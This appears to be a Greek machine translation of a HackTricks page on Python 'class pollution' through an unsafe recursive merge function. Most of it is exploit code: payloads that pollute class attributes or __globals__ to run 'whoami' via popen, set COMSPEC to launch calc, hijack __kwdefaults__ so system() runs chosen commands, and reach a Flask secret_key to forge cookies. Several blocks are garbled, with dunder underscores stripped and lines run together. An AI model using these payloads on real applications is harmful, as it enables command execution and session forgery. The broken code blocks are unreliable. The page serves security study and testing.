Class Pollution (Python's Prototype Pollution)
Last updated
Last updated
Μάθετε & εξασκηθείτε στο Hacking του AWS:Εκπαίδευση HackTricks AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο Hacking του GCP: Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)
Ελέγξτε τα σχέδια συνδρομής!
Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
Μοιραστείτε κόλπα χάκινγκ υποβάλλοντας PRs στα αποθετήρια HackTricks και HackTricks Cloud.
Ελέγξτε πώς είναι δυνατόν να ρυπαίνουμε κλάσεις αντικειμένων με συμβολοσειρές:
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass
c = Company()
d = Developer()
e = Entity()
print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>
e.__class__.__qualname__ = 'Polluted_Entity'
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}
# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = { "class":{ "base":{ "base":{ "custom_command": "whoami" } } } }
recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there"
merge(USER_INPUT, recruiter_emp)
print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m"
</details>
<details>
<summary>Ρύπανση άλλων κλάσεων και παγκόσμιων μεταβλητών μέσω του <code>globals</code></summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
```python import subprocess, json
class Employee: def init(self): pass
def merge(src, dst):
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
</details>
<details>
<summary>Αντικατάσταση του <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`** είναι ένα ειδικό χαρακτηριστικό όλων των συναρτήσεων, βάσει της [τεκμηρίωσης της Python](https://docs.python.org/3/library/inspect.html), είναι ένα "χαρτογράφηση οποιωνδήποτε προεπιλεγμένων τιμών για παραμέτρους μόνο με λέξεις-κλειδιά". Η μόλυνση αυτού του χαρακτηριστικού μας επιτρέπει να ελέγχουμε τις προεπιλεγμένες τιμές των παραμέτρων μόνο με λέξεις-κλειδιά μιας συνάρτησης, αυτές είναι οι παράμετροι της συνάρτησης που ακολουθούν μετά το \* ή \*args.
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
Έτσι, αν μπορείτε να κάνετε μια κλάση ρύπανση πάνω σε ένα αντικείμενο που έχει οριστεί στο κύριο αρχείο Python της ιστοσελίδας αλλά η κλάση του έχει οριστεί σε διαφορετικό αρχείο από το κύριο. Επειδή για να έχετε πρόσβαση στο __globals__ στα προηγούμενα φορτία, πρέπει να έχετε πρόσβαση στην κλάση του αντικειμένου ή στις μεθόδους της κλάσης, θα μπορείτε να έχετε πρόσβαση στα globals σε αυτό το αρχείο, αλλά όχι στο κύριο. Συνεπώς, δεν θα μπορείτε να έχετε πρόσβαση στο γενικό αντικείμενο της εφαρμογής Flask που έχει ορίσει το μυστικό κλειδί στην κύρια σελίδα:
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
Σε αυτό το σενάριο χρειάζεστε ένα γκατζετ για να διατρέξετε αρχεία για να φτάσετε στο κύριο αρχείο για πρόσβαση στον παγκόσμιο αντικείμενο app.secret_key
για να αλλάξετε το μυστικό κλειδί του Flask και να είστε σε θέση να εξελίξετε δικαιώματα γνωρίζοντας αυτό το κλειδί.
Ένα φορτίο σαν κι αυτό από αυτήν την ανάλυση:
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
Χρησιμοποιήστε αυτό το φορτίο για να αλλάξετε το app.secret_key
(το όνομα στην εφαρμογή σας μπορεί να είναι διαφορετικό) ώστε να μπορείτε να υπογράφετε νέα και πιο προνομιούχα cookies του Flask.
Ελέγξτε επίσης την παρακάτω σελίδα για περισσότερα gadgets μόνο για ανάγνωση:
Python Internal Read GadgetsΕλέγξτε τα σχέδια συνδρομής!
Εγγραφείτε 💬 στην ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα αποθετήρια HackTricks και HackTricks Cloud.
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)